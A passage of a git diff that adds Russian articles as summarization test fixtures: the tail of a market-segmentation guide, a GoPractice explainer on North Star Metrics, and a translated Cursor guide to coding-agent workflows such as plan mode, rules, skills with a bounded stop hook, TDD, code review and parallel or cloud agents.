телеграме. Тогда вам стоит посмотреть на варианты сегментации, по которым будет проще составить список подходящих каналов: Для B2C-продукта релевантны могут быть интересы: путешествия, саморазвитие, наука. Для B2B-продукта релевантна может быть должность того, кто принимает решение: CMO — каналы по маркетингу, дизайнеры — каналы про креатив, фаундер — каналы предпринимателей. Сегментация по архетипам или психография не поможет вам составить список нужных каналов. А вот если бы вашей целью было разработать визуальную айдентику и стратегию бренда — то архетипы и психография могли бы быть релевантным решением. Релевантность также зависит от продукта и категории. У разных типов продуктов будут разные подходы к сегментации и это нормально. JTBD будет удобен для софта по управлению логистикой или HR-процессами, потому что разработка строится от выполнения конкретных задач. В индустрии Fashion, конкретные «работы» для «найма одежды» выделить сильно сложнее. Поэтому больше подойдет понимание различных образов, с которыми аудитория хочет себя ассоциировать (андерграунд-рэп, Клава Кока, Джеймс Бонд и так далее). Однородность Если люди внутри определенного сегмента ведут себя приблизительно одинаково, то правило однородности выполняется. Простой пример. Разделим аудиторию музыкального стриминга на мужчин и женщин. Очевидно, что внутри этих групп пользователи будут вести себя по-разному. Не только мужчины будут слушать Rammstein, и не только женщины Lana Del Rey. Нам нужен более однородный параметр. Например, предпочитаемый жанр музыки. Но внутри жанра будут и те, кто слушает музыку раз в неделю, и те, кто в наушниках 24/7. Значит, частота и среднее время прослушивания внутри жанра могут быть кандидатами на роль достаточно однородных параметров. Вот пример более однородной сегментации. Продукт — услуги по видеопродакшену для разных компаний. Здесь мы уже не ограничимся одним параметром. На выбор подрядчика может влиять: Должность того, кто принимает решение (CEO, CMO, контент-директор). «Работа» по JTBD (создать имиджевый или рекламный ролик, создать видео о компании, создать ролики для карточек на маркетплейсах). Размер компании (стартап, малый бизнес, средний, крупный). Маркетинговые руководители крупных компаний, которым нужно сделать имиджевый ролик, будут вести себя примерно одинаково: закупать через тендеры с долгим согласованием, отвечать долго и бюрократично, давать директивный фидбек на работу. Но совсем иначе будет выглядеть работа с CEO малого бизнеса для создания коротких роликов о продукте. Конечно, есть другие важные параметры, которые будут влиять на поведение сегмента. Например, насколько тот, кто принимает решение, разбирается в видеопродакшене. Но в любом случае мы уже приблизились к достаточной однородности. Это позволяет нам собрать первичные параметры, которые могут влиять на поведение в продукте и процесс покупки. Четкость Выделенные параметры должны позволять четко отделить сегменты друг от друга. В идеале надо следовать консалтерскому правилу MECE (mutually exclusive and collectively exhaustive), то есть получившиеся сегменты должны быть взаимоисключающими и совместно исчерпывающими. Они не должны пересекаться и должны описывать полную картину рынка. Как целый пирог, нарезанный на четкие кусочки. Вы могли видеть похожий список сегментов для продукта детского питания: Тревожные матери Заботливые матери Независимые Экономные хозяйки Такие сегменты звучат логично и, наверняка, отличаются по поведению внутри каждой группы. Но параметры разделения здесь перемешаны! Тревожные выделены по психоэмоциональному признаку Заботливые по ценностно-поведенческому Независимые по стилю жизни Экономные по финансовым привычкам. Разделение нечеткое, сегменты пересекаются. Можно представить их в виде четырех наслаивающихся друг на друга кругов. Также эти четыре сегмента не описывают полную картину рынка. Как насчет нетревожных матерей? Или богатых, которых не заботит экономия? Возможно, мы описали такой сегментацией 70% рынка, но точно не весь. 💡 Важно, что мы никогда не расчертим рынок идеально. Такие варианты сегментации не откровенное зло, с ними можно работать. Но при делении рынка важно помнить про правило четкости и всегда стремиться к ней. Доступность Если вы подобрали идеальные параметры, но в реальном мире целевую группу сложно идентифицировать и старгетировать на нее продуктовое предложение, то практического смысла для маркетинга нет. Поэтому целевая группа должна быть доступной к обнаружению с помощью инструментов маркетинга. Многие видели сегментацию методом персон, где пользователь амбициозный и целеустремленный, ценит справедливость, часто пьет черный кофе по утрам и поддерживает прогрессивную повестку. А теперь мысленно распечатываем эту персону на А4 и несем на стол нашему маркетологу. Он будет весьма озадачен, ведь при настройке таргета нельзя выбрать «целеустремленный» или «нецелеустремленный». Единственное, что он может сделать — собрать креатив под эту персону и запустить охватную рекламную кампанию, в надежде, что нужные пользователи ее увидят и сами провалятся вниз по воронке. Вот более практичный по доступности пример для сервиса продажи туров. Мы планируем привлекать пользователей через интеграции с инфлюенсерами и партнерами. Тогда нам может быть полезна сегментация по интересам аудитории и стилю жизни. Мы можем узнать, что аудитория следит за каналами предпринимателей, travel-блогами и научпоп-каналами на YouTube, а в свободное время ходит по выставкам современного искусства, занимается активным спортом и ходит в спа-салоны. Теперь нам понятно, с какими каналами нужно делать интеграцию и с какими партнерами делать совместные спецпроекты. Итоги работы на втором этапе Теперь, когда вы проанализировали гипотезы для параметров по четырем критериям, вы можете сделать предположение о том, какой метод сегментации будет наиболее подходящим для вашей ситуации. Ваша сегментация никогда не будет идеальной. Это окей. Для любого продукта будет недостаточно только одного метода, только JTBD или индустрии в B2B. Также невозможно расчертить рынок идеально четко и без пересечений. 💡 Любой выбранный вами метод сегментации будет лишь картой территории, но никак не реальной местностью. Наверняка вы не можете представить детально описывающий лично вас профиль на слайде с персоной, как архетипичного представителя группы. Так и с другими людьми — мы все очень разные. Итоги проделанной работы на втором этапе позволяют нам двигаться дальше. Напомню процесс шагов для работы над сегментацией. ✅ 1. Постановка целей ✅ 2. Определение гипотез сегментов и оценка по четырем критериям ⌛️ 3. Проведение качественного сегментационного исследования для выделения сегментов ⌛️ 4. Определение потенциала сегментов и выбор потенциальных целевых ⌛️ 5. Проведение количественного исследования для валидации сегментов ⌛️ 6. Выбор целевых сегментов В этом материале мы разобрали первый и второй пункт. Это поможет вам осознанно подойти к задаче и оценить ограничения разных параметров по четырем критериям. Дальше нужно проверить гипотезы через исследования. В следующем материале (мы запланировали его выход до конца 2025 года) мы разберем, как подготовиться к качественному исследованию, составить гайд, провести интервью и оценить потенциал сегментов. Если у вас возникли вопросы по этому материалу, пишите автору. Этот материал подготовил Виктор Буто, тимлид продуктовых исследований, автор телеграм-канала “Research & Sensemaking”. +============== diff --git a/tests/summarization/https___gopractice.ru_product_the-north-star-metric-guide_.txt b/tests/summarization/https___gopractice.ru_product_the-north-star-metric-guide_.txt new file mode 100644 index 0000000..7e662ea --- /dev/null +++ b/tests/summarization/https___gopractice.ru_product_the-north-star-metric-guide_.txt @@ -0,0 +1,2 @@ +Каждая продуктовая метрика подсвечивает разные аспекты успеха продукта. Но одна метрика является универсальным индикатором успешности продукта — North Star Metric. Она не только показывает, насколько ценным продукт является для пользователей, но и позволяет продуктовой команде объединять усилия вокруг одного конкретного показателя. North Star Metric (NSM) — это ответ на вопрос «зачем?» применительно к работе продуктовой команды. Эта метрика помогает в выработке единой стратегии для выполнения ключевой миссии организации. И если изменения в продукте создают препятствия в выполнении этой миссии, NSM просигнализирует об этом. Устойчивый рост North Star Metric является отражением того, что продукт находится на верном пути, а компания движется к успеху. В чем роль North Star Metric? В работе над продуктом существуют два типа метрик: метрики роста и метрики продукта. Метрики продукта отражают то, как отдельные пользователи взаимодействуют с ним, например сколько времени они проводят в приложении или сколько денег они тратят на маркетплейсе. Метрики роста отражают, сколько ценности продукт создает, например сколько людей пользуется приложением или сколько товаров продается на маркетплейсе. North Star Metric стоит выбирать среди метрик роста, поскольку она измеряет общую ценность, создаваемую продуктом. Retention — полезная метрика, но она отражает только ценность для пользователя, а значит, не подходит на роль NSM. Retention можно улучшить, не влияя при этом на рост продукта (например, через оптимизацию продукта для небольшой доли целевой аудитории). В тоже время Daily Active Users (DAU) — метрика роста, которая показывает число пользователей продукта. Она может служить NSM, поскольку демонстрирует, как ценность продукта расширяется на все большее число пользователей. NSM служит двум целям: Во-первых, она объединяет усилия продуктовой команды вокруг единой цели, которая отражает ценность продукта. Согласованность действий — обязательное условие для сфокусированной и последовательной работы над продуктом. Во-вторых, NSM помогает оценивать и приоритизировать новые проекты. Она служит бенчмарком при определении того, как эти проекты отразятся на росте продукта. Чем больше становится компания, тем важнее объединять работу разных команд вокруг единой цели. Разные команды внутри компании могут работать над собственными ключевыми метриками. Но NSM помогает объединить все эти метрики под собой, тем самым позволяя разным усилиям внутри компании работать на общие цели роста и увеличения ценности. Хотите поучаствовать в создании материалов для GoPractice? Поделитесь с нами историями на следующие темы: → Дневник продакт-менеджера → Опыт перехода в продакт-менеджмент → Предложите вашу тему Вот так Алекс Шульц (Alex Schultz), VP of Growth в Facebook*, описывал роль NSM: «Причина, почему важно иметь общую NSM, заключается в том, что как только над чем-то начинает работать больше одного человека, вы не можете полностью контролировать, кто и что делает. У меня сейчас более 100 человек в подчинении и у меня нет контроля. Только влияние. Я могу сказать одному человеку, что надо делать, но в этот момент оставшиеся 99 будут делать то, что считают нужным. И проблема в том, что далеко не всем очевидно, что именно является наиболее важным приоритетом для компании. Например, внутри eBay сотрудник легко мог решить, что нужно фокусироваться на выручке, на количестве уникальных покупателей или на количестве людей, которые размещают у нас товары» Критерии для выбора NSM При выборе North Star Metric стоит учитывать несколько важных критериев. Во-первых, вам нужна метрика, которую можно с достаточной точностью измерить. Если в качестве NSM взять неизмеряемую метрику, то вы будете принимать решения на предположениях, а не на данных. Второй критерий NSM — она должна отражать ценность, которую пользователи получают от взаимодействия с продуктом. Таким образом, эта метрика должна идти рука об руку с удовлетворенностью пользователей и их вовлечением. Третий критерий — у NSM должен быть понятный практический смысл. Например, Monthly Active Users (MAU) — это ясная метрика, отражающая вовлечение пользователей. С другой стороны, комплексные метрики хотя и могут объединять в себе несколько важных индикаторов роста, могут в итоге больше запутать, чем дать пользы. И поэтому они меньше подходят на роль NSM. Четвертый критерий — хорошая NSM устойчива к манипуляциям. Метрики, которыми легко манипулировать (например, относительные метрики), опасно использовать в качестве North Star Metric, потому что их искусственное раздувание никак не отражает реальный рост продукта. Например, отказавшись от ряда каналов роста, можно добиться роста конверсии затрат в привлечение пользователей, хотя в долгосрочной перспективе это может навредить продукту. Поэтому в качестве NSM лучше использовать абсолютные метрики. Наконец, NSM должна быть чувствительна к продуктовым изменениям. В идеале любые изменения в продукте должны быстро отражаться на NSM, тем самым сигнализируя о характере этих изменений. Однако стоит отметить, что на фоне всех остальных факторов чувствительность к изменениям можно назвать чуть менее критичным критерием при выборе NSM. Примеры NSM в известных продуктах Airbnb: количество забронированных ночей Ключевое ценностное предложение Airbnb — возможность объединить путешественников и доступное для аренды жилье. Количество броней в качестве NSM отражает не только то, насколько хорошо продукт привлекает путешественников, но и то, насколько доступные для бронирования объекты привлекательны, чтобы их арендовали. Эту метрику нельзя раздуть искусственно, и в то же время она чувствительна к изменениям в продукте и бизнес-модели. E-commerce: Gross Merchandise Value (GMV) GMV показывает общую стоимость продуктов, проданных на платформе за определенный период. Это сильный индикатор того, сколько ценности покупатели и продавцы извлекают из продукта. Высокий GMV сигнализирует о востребованности платформы, ее большой аудитории и внушительном объеме транзакций. Агрегаторы такси и водителей: количество поездок Эта метрика показывает, как сервис выполняет свою главную функцию: перемещение пользователей из точки А в точку Б. Она прямо отражает ценность сервиса и его возможность отвечать потребностями пассажиров и постоянно поддерживать доступную сеть водителей. Мессенджеры: количество отправленных сообщений Количество отправленных сообщений демонстрирует вовлечение пользователей и эффективность продукта в обеспечении коммуникации. Большее число отправленных сообщений сигнализирует о том, что продукт встроился в повседневную жизнь своих пользователей. Социальные сети: MAU и DAU Социальные сети часто используют метрики Monthly Active Users (MAU) и Daily Active Users (DAU) в качестве NSM. Эти метрики показывают активную аудиторию в течение определенного временного периода, что отражает охват и вовлечение пользователей. Растущие MAU и DAU у социальных платформ говорят об успешном решении задач своих пользователей. Пример ошибки при выборе NSM Рассмотрим дейтинговое приложение вроде Tinder. Конечная цель такого продукта в том, чтобы его пользователи ходили на свидания. Но «количество свиданий» — не лучший кандидат на роль NSM, потому что ее нельзя измерить с достаточной точностью. Допустим, вы планируете фиксировать свидания, если два пользователя с активным диалогом оказались близко друг к другу. Однако для этого требуется, чтобы у каждого пользователя всегда был включен телефон с фоновым доступом к геолокации для дейтингового приложения, что, мягко говоря, довольно сложно гарантировать. С другой стороны, вы можете фиксировать факт свидания по определенным словам, которые встретились в переписке. Но пользователи могут перейти в другое приложение для дальнейшей коммуникации. Кроме того, количество свиданий — не самая чувствительная к продуктовым изменениям метрика. Свидания обычно случаются через несколько дней или даже недель после первого общения пользователей, а значит, между изменениями в продукте и их отражение в метрике пройдет довольно много времени. В качестве альтернативы вы могли бы взять прокси-метрику, которая фиксирует событие, предшествующее главной цели вашего продукта. Например, вы могли бы измерять количество качественных диалогов — то есть таких, в которых пользователи обменялись большим количеством сообщений, что говорит об их симпатии друг к другу. Может ли выручка служить в качестве NSM? Компании хотят, чтобы их продукты генерировали выручку. Но выручка, будучи крайне важным показателем, не подходит на роль North Star Metric. Во-первых, выручка не дает точного отражения ценности, которую пользователи получают в продукте. Во-вторых, для ряда бизнес-моделей, например подписочной, влияние продуктовых изменений невозможно измерить до наступления момента, когда пользователи продлят подписку. В-третьих, выручка не позволяет измерить ценность для неплатящих пользователей, если у продукта есть бесплатный план. Но что важно, построенная вокруг выручки NSM может стимулировать использование недальновидных стратегий, таких как поднятие цен. Да, это позволит увеличить выручку в моменте, но ударит по доверию пользователей и Retention в более длительной перспективе. Таким образом, NSM стоит выбирать из метрик роста, которые ясно отражают и фиксируют ценность продукта для пользователей. Давайте рассмотрим один из ключевых продуктов Microsoft — Office 365. Office 365 продается по подписке и включает в себя сразу несколько продуктов, которые помогают сотрудникам в решении большого количества разных рабочих задач — Outlook, Excel, Word, Teams и так далее. Предположим, что Microsoft в качестве верхнеуровневой метрики Office 365 использует выручку. Компания X, которая исторически использовала Office 365, в определенный момент начала использовать Slack для общения внутри команды. В этот момент у них резко упал объем отправляемых писем в Outlook, так как теперь часть его работы забрал Slack. Компания продолжила платить те же деньги за Office 365, но стала получать меньше ценности. Потом компания X начала использовать Google Docs и Google Spreadsheets, так как это позволило избавиться от необходимости пересылать документы в сообщениях внутри Slack для обмена информацией, а также позволило совместно редактировать документы. В этот момент использование Excel и Word среди сотрудников компании X снизилось, но компания все еще продолжала платить за Office 365. Спустя какое-то время менеджмент компании X поймет, что Office 365 больше не выполняет критической функции для компании и примет решение окончательно от него отказаться. И только в этот момент пострадает метрика «выручка». Этот кейс показывает, почему в качестве NSM, синхронизирующей команду, лучше использовать опережающие индикаторы, отражающие ценность, которую получают клиенты от продукта. Выручка в подавляющем большинстве случаев будет запаздывающим показателем. Подводные камни в работе с NSM Важно понимать, что хотя NSM и является отражением важнейших целей продукта, она не включает в себя все аспекты работы продукта. Чтобы сформировать цельную картину, важно знать все факторы, которые оказывают влияние на NSM. Создание модели роста продукта с учетом этих факторов критически необходимо для улучшения NSM. Эта модель должна демонстрировать, как каждый отдельный элемент влияет на рост продукта. Рассмотрим в качестве примера маркетплейс. Важно не только работать над улучшением NSM, но и постоянно мониторить баланс между спросом и предложением на платформе. Если вы будете фокусироваться исключительно на North Star Metric, то можете упустить из виду вещи, которые ударят по продукту в будущем. Как, например, в случае разбалансировки спроса и предложения. NSM также не стоит путать с One Metric That Matters (OMTM). OMTM — метрика, которая является самым важным приоритетом для команды на конкретном отрезке развития. OMTM обычно используется на раннем этапе развития, когда нужно решить важную проблему всей командой. Например, для нового продукта команда может выбрать в качестве OMTM Retention, так как он характеризует создаваемую продуктом ценность и product/market fit. NSM же — стратегическая метрика, которая отражает видение компании и демонстрирует ее рост. OMTM могут меняться со временем или при наступлении новых рыночных условий, в то время как NSM обычно остается важнейшим показателем для продукта на протяжении всего его существования. *Facebook принадлежит Meta (признана в России экстремистской организацией и запрещена) Автор иллюстрации к материалу — Анна Гольде +============== diff --git a/tests/summarization/https___habr.com_ru_articles_985300_.txt b/tests/summarization/https___habr.com_ru_articles_985300_.txt new file mode 100644 index 0000000..56b7e07 --- /dev/null +++ b/tests/summarization/https___habr.com_ru_articles_985300_.txt @@ -0,0 +1,2 @@ +Команда AI for Devs подготовила перевод большой статьи команды Cursor о том, как эффективно работать с агентами для написания кода. В материале разбираются практики планирования, управления контекстом, ревью, параллельного запуска агентов и делегирования задач в облако. Агенты для программирования меняют подход к разработке программного обеспечения. Модели теперь могут работать часами, выполнять масштабные рефакторинги, затрагивающие множество файлов, и повторять попытки до тех пор, пока тесты не пройдут. Однако, чтобы получить от агентов максимальную отдачу, важно понимать, как они устроены, и вырабатывать новые паттерны работы с ними. В этом гайде рассматриваются приёмы работы с агентом Cursor. Независимо от того, только ли вы начинаете знакомство с агентным программированием или хотите понять, как наша команда использует Cursor, мы разберём лучшие практики разработки с агентами. Понимание agent harness Agent harness состоит из трёх компонентов: Инструкции: системный промпт и правила, которые определяют поведение агента Инструменты: редактирование файлов, поиск по кодовой базе, выполнение команд в терминале и другое Сообщения пользователя: ваши запросы и уточнения, которые направляют работу Agent harness в Cursor координирует эти компоненты для каждой поддерживаемой модели. Мы настраиваем инструкции и инструменты отдельно под каждую передовую модель, опираясь на внутренние оценки и внешние бенчмарки. Harness важен потому, что разные модели по-разному реагируют на одни и те же запросы. Модель, сильно ориентированная на работу с shell, может предпочитать grep вместо специализированного инструмента поиска. Другой могут потребоваться явные инструкции вызывать линтер после внесения изменений. Агент Cursor берёт это на себя, поэтому по мере выхода новых моделей вы можете сосредоточиться на разработке программного обеспечения. Начинайте с планирования Самое заметное улучшение, которое вы можете внести, — это планировать до начала написания кода. Исследование Чикагского университета показало, что опытные разработчики чаще планируют перед генерацией кода. Планирование помогает чётко сформулировать, что именно вы собираетесь сделать, и даёт агенту конкретные цели, к которым он может стремиться. Использование Plan Mode Нажмите Shift+Tab в поле ввода агента, чтобы включить Plan Mode. Вместо немедленного написания кода агент выполнит следующие шаги: Изучит кодовую базу, чтобы найти релевантные файлы; Задаст уточняющие вопросы по требованиям; Создаст подробный план реализации с указанием путей к файлам и ссылками на код; Будет ждать вашего одобрения перед началом разработки. Plan Mode в действии: агент задаёт уточняющие вопросы и формирует план, удобный для ревью. Планы открываются в виде Markdown-файлов, которые можно редактировать напрямую: удалять лишние шаги, корректировать подход или добавлять контекст, который агент упустил. Совет: нажмите «Save to workspace», чтобы сохранить планы в .cursor/plans/. Это создаёт документацию для команды, упрощает возобновление прерванной работы и даёт контекст будущим агентам, которые будут работать над той же возможностью. Не каждой задаче нужен детальный план. Для быстрых правок или задач, которые вы выполняли много раз, можно сразу переходить к работе с агентом. Возврат к плану и повторный запуск Иногда агент реализует что-то не так, как вы ожидали. Вместо того чтобы пытаться исправить это с помощью уточняющих запросов, лучше вернуться к плану. Откатите изменения, уточните план, сделав его более конкретным, и запустите его заново. Часто это быстрее, чем исправлять уже идущую работу агента, и даёт более аккуратный результат. Управление контекстом По мере того как вы привыкаете к тому, что агенты пишут код, ваша основная задача сводится к тому, чтобы дать каждому агенту контекст, необходимый для выполнения работы. Дайте агенту самому найти контекст Нет необходимости вручную помечать каждый файл в запросе. Агент Cursor располагает мощными инструментами поиска и подгружает контекст по мере необходимости. Когда вы спрашиваете про «поток аутентификации», агент находит релевантные файлы с помощью grep и семантического поиска, даже если в запросе нет этих слов в точности. Мгновенный grep позволяет агенту искать по кодовой базе за миллисекунды. Придерживайтесь простоты: если вы точно знаете нужный файл — укажите его. Если нет, агент сам его найдёт. Добавление нерелевантных файлов может сбить агента с толку и помешать ему понять, что действительно важно. У агента Cursor есть и другие полезные инструменты, например @Branch, которые позволяют дать ему контекст о том, над чем вы сейчас работаете. Запросы вроде «Проверь изменения в этой ветке» или «Над чем я сейчас работаю?» становятся естественным способом сориентировать агента в текущей задаче. Когда начинать новый диалог Один из самых частых вопросов: продолжать текущий диалог или начать новый? Начинайте новый диалог, если: Вы переходите к другой задаче или возможности; Агент выглядит сбитым с толку или постоянно повторяет одни и те же ошибки; Вы завершили один логически законченный этап работы. Продолжайте текущий диалог, если: Вы итеративно дорабатываете одну и ту же возможность; Агенту нужен контекст из предыдущих сообщений; Вы отлаживаете то, что он только что реализовал. Длинные диалоги могут приводить к потере фокуса у агента. После множества шагов и пересказов контекст зашумляется, и агент начинает отвлекаться или переключаться на посторонние задачи. Если вы замечаете, что эффективность агента снижается, значит, пришло время начать новый диалог. Ссылки на прошлую работу Когда вы начинаете новый диалог, используйте @Past Chats для ссылки на предыдущую работу вместо копирования всей переписки целиком. Агент сможет выборочно прочитать историю диалогов и подтянуть только тот контекст, который ему действительно нужен. Это гораздо эффективнее, чем дублировать целые диалоги. Расширение возможностей агента Cursor предлагает два основных способа настраивать поведение агента: Rules — для статического контекста, который применяется к каждому диалогу, и Skills — для динамических возможностей, которые агент использует при необходимости. Rules: статический контекст для проекта Rules — это постоянные инструкции, которые определяют, как агент работает с вашим кодом. Их можно представить как всегда включённый контекст, который агент получает в начале каждого диалога. Rules создаются в виде Markdown-файлов в .cursor/rules/: # Commands - `npm run build`: Build the project - `npm run typecheck`: Run the typechecker - `npm run test`: Run tests (prefer single test files for speed) # Code style - Use ES modules (import/export), not CommonJS (require) - Destructure imports when possible: `import { foo } from 'bar'` - See `components/Button.tsx` for canonical component structure # Workflow - Always typecheck after making a series of code changes - API routes go in `app/api/` following existing patterns Объяснить код с Сосредотачивайтесь в правилах на самом важном: какие команды запускать, каким паттернам следовать и где находятся эталонные примеры в кодовой базе. Ссылайтесь на файлы вместо копирования их содержимого — так правила остаются короткими и не устаревают по мере изменения кода. Чего не стоит включать в rules: Копирование целых стайлгайдов (для этого лучше использовать линтер); Описание всех возможных команд (агент и так знает распространённые инструменты); Инструкции для редких пограничных случаев. Совет: начинайте с простого. Добавляйте правила только тогда, когда замечаете, что агент регулярно повторяет одну и ту же ошибку. Не стоит преждевременно всё оптимизировать, пока вы не разобрались со своими паттернами работы. Коммитьте rules в git, чтобы ими могла пользоваться вся команда. Если вы видите, что агент ошибается, обновите правило. Можно даже упомянуть @cursor в ишью или pull request на GitHub — агент сам обновит правило за вас. Skills: динамические возможности и рабочие процессы Agent Skills расширяют то, что умеют делать агенты. Skills упаковывают предметные знания, рабочие процессы и скрипты, которые агент может вызывать при необходимости. Skills описываются в файлах SKILL.md и могут включать: Пользовательские команды: переиспользуемые рабочие процессы, запускаемые через / в поле ввода агента Хуки (hooks): скрипты, которые выполняются до или после действий агента Предметные знания: инструкции для конкретных задач, которые агент может подгружать по требованию В отличие от Rules, которые всегда присутствуют в контексте, Skills загружаются динамически, когда агент считает их релевантными. Это позволяет держать контекстное окно чистым, при этом давая агенту доступ к специализированным возможностям. Пример: длительный цикл работы агента Один из мощных паттернов — использовать skills для создания агентов, которые работают продолжительное время и итеративно движутся к цели. Ниже показано, как можно реализовать хук, который будет удерживать агента в работе до тех пор, пока все тесты не пройдут. Сначала настройте хук в .cursor/hooks.json: { "version": 1, "hooks": { "stop": [{ "command": "bun run .cursor/hooks/grind.ts" }] } } Объяснить код с Скрипт хука (.cursor/hooks/grind.ts) получает контекст через stdin и возвращает followup_message, чтобы продолжить цикл: import { readFileSync, existsSync } from "fs"; interface StopHookInput { conversation_id: string; status: "completed" | "aborted" | "error"; loop_count: number; } const input: StopHookInput = await Bun.stdin.json(); const MAX_ITERATIONS = 5; if (input.status !== "completed" || input.loop_count >= MAX_ITERATIONS) { console.log(JSON.stringify({})); process.exit(0); } const scratchpad = existsSync(".cursor/scratchpad.md") ? readFileSync(".cursor/scratchpad.md", "utf-8") : ""; if (scratchpad.includes("DONE")) { console.log(JSON.stringify({})); } else { console.log(JSON.stringify({ followup_message: `[Iteration ${input.loop_count + 1}/${MAX_ITERATIONS}] Continue working. Update .cursor/scratchpad.md with DONE when complete.` })); } Объяснить код с Этот паттерн полезен для следующих сценариев: Запуска и исправления кода до тех пор, пока все тесты не пройдут; Итеративной доработки UI, пока он не совпадёт с дизайн-макетом; Любых задач, ориентированных на достижение цели, где результат можно однозначно проверить. Совет: skills с хуками можно интегрировать с инструментами безопасности, менеджерами секретов и платформами наблюдаемости. См. документацию по hooks для партнёрских интеграций. Agent Skills на данный момент доступны только в канале nightly. Откройте настройки Cursor, выберите Beta, затем установите канал обновлений Nightly и перезапустите приложение. Помимо программирования, вы можете подключить агента к другим инструментам, которыми пользуетесь каждый день. MCP (Model Context Protocol) позволяет агенту читать сообщения из Slack, анализировать логи Datadog, отлаживать ошибки из Sentry, выполнять запросы к базам данных и многое другое. Использование изображений Агент может напрямую обрабатывать изображения из ваших запросов. Вставляйте скриншоты, перетаскивайте дизайн-файлы или указывайте пути к изображениям. От дизайна к коду Вставьте дизайн-макет и попросите агента реализовать его. Агент видит изображение и способен сопоставлять раскладку, цвета и отступы. Также можно использовать MCP-сервер Figma. Визуальная отладка Сделайте скриншот состояния с ошибкой или неожиданного UI и попросите агента разобраться. Часто это быстрее, чем описывать проблему словами. Агент также может управлять браузером: делать собственные скриншоты, тестировать приложения и проверять визуальные изменения. Подробности см. в документации по браузеру. Боковая панель браузера позволяет одновременно работать с дизайном и кодом. Типовые рабочие процессы Ниже приведены паттерны работы с агентами, которые хорошо подходят для разных типов задач. Разработка через тестирование (TDD) Агент может писать код, запускать тесты и автоматически выполнять итерации: Попросите агента написать тесты на основе ожидаемых пар входных и выходных данных. Явно укажите, что вы работаете в стиле TDD, чтобы он не создавал заглушки для функциональности, которой ещё не существует. Попросите агента запустить тесты и подтвердить, что они падают. Отдельно подчеркните, что на этом этапе не нужно писать реализацию. Закоммитьте тесты, когда будете ими довольны. Попросите агента написать код, который проходит тесты, указав, что тесты изменять нельзя. Попросите его продолжать итерации, пока все тесты не пройдут. Закоммитьте реализацию, когда изменения вас устроят. Агенты показывают наилучшие результаты, когда у них есть чёткая цель для итераций. Тесты дают агенту возможность вносить изменения, оценивать результат и постепенно улучшать код, пока он не добьётся успеха. Понимание кодовой базы При онбординге в новую кодовую базу используйте агента для обучения и исследования. Задавайте те же вопросы, которые задали бы коллеге: «Как в этом проекте устроено логирование?» «Как добавить новый API-эндпоинт?» «Какие пограничные случаи обрабатывает CustomerOnboardingFlow?» «Почему в строке 1738 мы вызываем setUser(), а не createUser()?» Агент использует и grep, и семантический поиск, чтобы просматривать кодовую базу и находить ответы. Это один из самых быстрых способов разобраться в незнакомом коде. Git-воркфлоу Агенты могут искать по истории git, разрешать конфликты слияния и автоматизировать ваш git-воркфлоу. Например, команда /pr, которая коммитит изменения, пушит их и открывает pull request: Create a pull request for the current changes. 1. Look at the staged and unstaged changes with `git diff` 2. Write a clear commit message based on what changed 3. Commit and push to the current branch 4. Use `gh pr create` to open a pull request with title/description 5. Return the PR URL when done Объяснить код с Команды идеально подходят для рабочих процессов, которые вы запускаете много раз в день. Храните их в виде Markdown-файлов в .cursor/commands/ и коммитьте в git, чтобы ими могла пользоваться вся команда. Другие примеры команд, которые мы используем: /fix-issue [number]: получить детали ишью через gh issue view, найти релевантный код, реализовать исправление и открыть PR; /review: запустить линтеры, проверить типовые проблемы и кратко описать, на что стоит обратить внимание; /update-deps: проверить устаревшие зависимости и обновлять их по одной, запуская тесты после каждого обновления. Агент может использовать такие команды автономно, поэтому вы можете делегировать многошаговые рабочие процессы одним вызовом через /. Ревью кода Код, сгенерированный ИИ, требует проверки, и Cursor предлагает для этого несколько вариантов. Во время генерации Наблюдайте за тем, как агент работает. В режиме diff изменения отображаются по мере их внесения. Если вы видите, что агент движется не в ту сторону, нажмите Escape, чтобы прервать процесс и скорректировать направление. Ревью от агента После завершения работы агента нажмите Review → Find Issues, чтобы запустить отдельный проход ревью. Агент построчно анализирует предлагаемые изменения и отмечает потенциальные проблемы. Для всех локальных изменений откройте вкладку Source Control и запустите Agent Review, чтобы сравнить их с вашей основной веткой. Ревью ИИ-кода находит и исправляет баги прямо в Cursor. Bugbot для pull request’ов Отправьте изменения в систему контроля версий, чтобы получить автоматические ревью для pull request’ов. Bugbot применяет углублённый анализ, чтобы на раннем этапе находить проблемы и предлагать улучшения для каждого PR. Архитектурные диаграммы Для существенных изменений попросите агента сгенерировать архитектурные диаграммы. Например, можно сформулировать запрос так: «Создай диаграмму Mermaid, показывающую поток данных в нашей системе аутентификации, включая OAuth-провайдеров, управление сессиями и обновление токенов». Такие диаграммы полезны для документации и помогают выявить архитектурные проблемы ещё до ревью кода. Параллельный запуск агентов Cursor упрощает параллельный запуск множества агентов без риска, что они будут мешать друг другу. По нашему опыту, запуск нескольких моделей на одной и той же задаче с последующим выбором лучшего результата заметно повышает качество итогового решения, особенно для сложных задач. Встроенная поддержка worktree Cursor автоматически создаёт и управляет git worktree для параллельных агентов. Каждый агент работает в собственном worktree с изолированными файлами и изменениями, поэтому агенты могут редактировать код, собирать проект и запускать тесты, не пересекаясь друг с другом. Чтобы запустить агента в worktree, выберите соответствующую опцию в выпадающем списке агента. После завершения работы нажмите Apply, чтобы слить изменения обратно в рабочую ветку. Запуск нескольких моделей одновременно Мощный паттерн — запуск одного и того же запроса сразу на нескольких моделях. Выберите несколько моделей в выпадающем списке, отправьте запрос и сравните результаты бок о бок. Cursor также подскажет, какое решение он считает лучшим. Это особенно полезно для: Сложных задач, где разные модели могут выбирать разные подходы; Сравнения качества кода между семействами моделей; Поиска пограничных случаев, которые может упустить одна из моделей. При параллельном запуске большого числа агентов настройте уведомления и звуки, чтобы вовремя узнавать об их завершении. Делегирование задач облачным агентам Облачные агенты отлично подходят для задач, которые в противном случае вы бы добавили в список дел: Исправление багов, обнаруженных по ходу другой работы; Рефакторинг недавних изменений в коде; Генерация тестов для существующего кода; Обновление документации. В зависимости от задачи вы можете переключаться между локальными и облачными агентами. Запускать облачных агентов можно с сайта cursor.com/agents, из редактора Cursor или прямо с телефона. Проверять состояние сессий — через веб или мобильный интерфейс, находясь вдали от рабочего места. Облачные агенты работают в удалённых песочницах, поэтому вы можете закрыть ноутбук и вернуться к результатам позже. Управляйте несколькими облачными агентами через cursor.com/agents. Как работают облачные агенты «под капотом»: Вы описываете задачу и весь релевантный контекст; Агент клонирует ваш репозиторий и создаёт ветку; Он работает автономно и по завершении открывает pull request; Вы получаете уведомление о завершении (через Slack, email или веб-интерфейс); Вы просматриваете изменения и сливаете их, когда будете готовы. Совет: агентов можно запускать прямо из Slack с помощью команды 